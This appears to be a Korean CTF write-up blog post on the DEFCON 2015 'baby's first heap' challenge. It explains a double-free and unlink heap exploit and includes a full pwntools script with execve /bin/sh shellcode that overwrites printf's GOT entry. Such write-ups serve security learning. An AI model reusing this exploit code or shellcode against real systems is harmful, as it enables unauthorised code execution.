본문 바로가기

Hacking/Pwn

DEFCON 2015 - baby's first heap

이 문제는 내가 생애 처음 짜보는 힙 익스플로잇 문제이다.


 

처음에 랜덤으로 malloc size를 할당하지만, for문이 끝난후에 260바이트만큼 다시 힙 메모리가 할당된다.


그리고 free를 연속적으로 실행시키는데 여기서 double free bug가 발생하고 unlink 테크닉을 이용해서 exploit이 가능하다.



#define unlink( P, BK, FD ) {
    BK = P->bk;
    FD = P->fd;
    FD->bk = BK;
    BK->fd = FD;
}
cs


malloc.c 에서의 unlink 테크닉인데, 

이 부분에서 취약점이 발생한다.

unlink에서 double linked list를 하는 과정에


fd+12 = bk, bk + 8 = fd

이런식이여서 fd와 bk에 shellcode를 실행 시킬수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
= process("./baby_first_heap")
 
elf = ELF("./baby_first_heap")
 
printf_got = elf.got['printf']
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
 
 
print p.recvuntil("[size=755]")
print p.recvuntil("[ALLOC][loc=")
heap_ptr = int(p.recvuntil("350"),16)
print "[*] Heap PTR: " + hex(heap_ptr)
print p.recvuntil("Write to object [size=260]:")
 
pause()
 
payload = p32(0x50eb)
payload += "\x90"*100
payload += shellcode
payload += "A"*(260-len(payload))
 
payload += p32(1)
payload += p32(printf_got - 8)
payload += p32(heap_ptr)
p.sendline(payload)
 
print payload
p.interactive()
 
cs


먼저 exploit code인데

prev_inuse 가 0일때 free하면 이전 청크와 병합을 하기때문에

prev_inuse를 1로 만들어서 이전 청크와 병합을 끊는다.


그리고 printf_got - 8 을 하게되면 printf_got에 heap_memory를 쓸수 있기때문에

printf_got - 8 을 하고 쉘코드, nop을 넣게되면 이게 변조된다 그래서 jmp 명령어를 추가시키면 shellcode가 실행됨!


printf@got = heap_memory

heap_memory + 4 = printf@got + 8 


이렇게 이해하면 편할거 같다.







'Hacking > Pwn' 카테고리의 다른 글

Lord Of Buffer Over Flow - Gremlin -> Cobolt  (0) 2017.10.19
Lord Of Buffer Over Flow - Gate ->Gremlin  (0) 2017.10.18
힙을 gdb로 살펴보자!  (0) 2017.10.02
Pwnable.kr - echo1  (0) 2017.10.01
Pwnable.kr - cmd1  (0) 2017.10.01